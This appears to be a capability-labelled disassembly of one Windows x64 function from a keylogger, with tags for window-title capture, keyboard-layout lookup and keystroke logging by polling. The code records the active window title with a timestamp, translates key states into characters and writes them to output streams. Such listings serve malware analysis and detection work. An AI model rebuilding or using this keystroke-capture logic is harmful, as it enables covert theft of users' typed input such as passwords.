Function at 0x1400015b7
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x388
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x320], ecx
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::basic_stringstream__
mov rax, qword [sym.imp.USER32.dll_GetForegroundWindow]
call rax
mov qword [rbp + 0x2e8], rax
mov qword [rbp + 0x2f8], 0
cmp qword [rbp + 0x2e8], 0
je 0x140001638
mov rax, qword [rbp + 0x2e8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call rax
mov dword [rbp + 0x2e4], eax
mov eax, dword [rbp + 0x2e4]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetKeyboardLayout]
call rax
mov qword [rbp + 0x2f8], rax
cmp qword [rbp + 0x2e8], 0
je 0x140001739
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x2e8]
mov r8d, 0x100
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowTextA]
call rax
lea rax, [rbp - 0x20]
lea rdx, [0x14000a2a0]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001739
lea rax, [rbp - 0x20]
mov rdx, rax
lea rax, [0x14000a2a0]
mov rcx, rax
call sym.strcpy
mov ecx, 0
call dbg.time
mov qword [rbp + 0xe8], rax
lea rax, [rbp + 0xe8]
mov rcx, rax
call dbg.localtime
mov qword [rbp + 0x2d8], rax
mov rdx, qword [rbp + 0x2d8]
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str._FT_X_z
mov edx, 0x40
mov rcx, rax
call sym.strftime
lea rax, [rbp + 0xf0]
add rax, 0x10
lea rdx, str._n_n_Window:
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp - 0x20]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, str.___at
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp - 0x60]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [0x140007057]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [0x14000a260]
mov rcx, rax
call dbg.std::map<int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<int>, std::allocator<std::pair<int const, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > >::end() const
mov qword [rbp + 0x280], rax
lea rdx, [rbp + 0x320]
lea rax, [0x14000a260]
mov rcx, rax
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.find_int_const
mov qword [rbp + 0x288], rax
lea rdx, [rbp + 0x280]
lea rax, [rbp + 0x288]
mov rcx, rax
call method.std.operator__std::_Rb_tree_const_iterator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char________const__std::_Rb_tree_const_iterator_std::pair_int_const__std::__cxx11::basic_string_char__std::cha
test al, al
je 0x1400017b7
lea rdx, [rbp + 0x320]
lea rax, [0x14000a260]
mov rcx, rax
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.at_int_const__
mov rdx, rax
lea rax, [rbp + 0xf0]
add rax, 0x10
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
jmp 0x140001898
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 1
test eax, eax
setne al
mov byte [rbp + 0x2f6], al
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x1000
test eax, eax
jne 0x14000181c
mov ecx, 0xa0
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x1000
test eax, eax
jne 0x14000181c
mov ecx, 0xa1
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x1000
test eax, eax
je 0x140001823
mov eax, 1
jmp 0x140001828
mov eax, 0
test al, al
je 0x140001833
xor byte [rbp + 0x2f6], 1
mov eax, dword [rbp + 0x320]
mov ecx, eax
mov rax, qword [rbp + 0x2f8]
mov r8, rax
mov edx, 2
mov rax, qword [sym.imp.USER32.dll_MapVirtualKeyExA]
call rax
mov byte [rbp + 0x2f7], al
movzx eax, byte [rbp + 0x2f6]
xor eax, 1
test al, al
je 0x14000187f
movsx eax, byte [rbp + 0x2f7]
mov ecx, eax
mov rax, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
call rax
mov byte [rbp + 0x2f7], al
movsx eax, byte [rbp + 0x2f7]
lea rdx, [rbp + 0xf0]
lea rcx, [rdx + 0x10]
mov edx, eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
lea rax, [rbp + 0x290]
lea rdx, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::str___const
lea rax, [rbp + 0x290]
mov rdx, rax
lea rax, [0x14000a080]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x290]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [0x14000a080]
mov rcx, rax
call sym.std::ostream::flush__
lea rax, [rbp + 0x2b0]
lea rdx, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::str___const
lea rax, [rbp + 0x2b0]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x2b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, 0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.140002188
mov eax, ebx
jmp 0x140001980
add rsp, 0x388
pop rbx
pop rbp
ret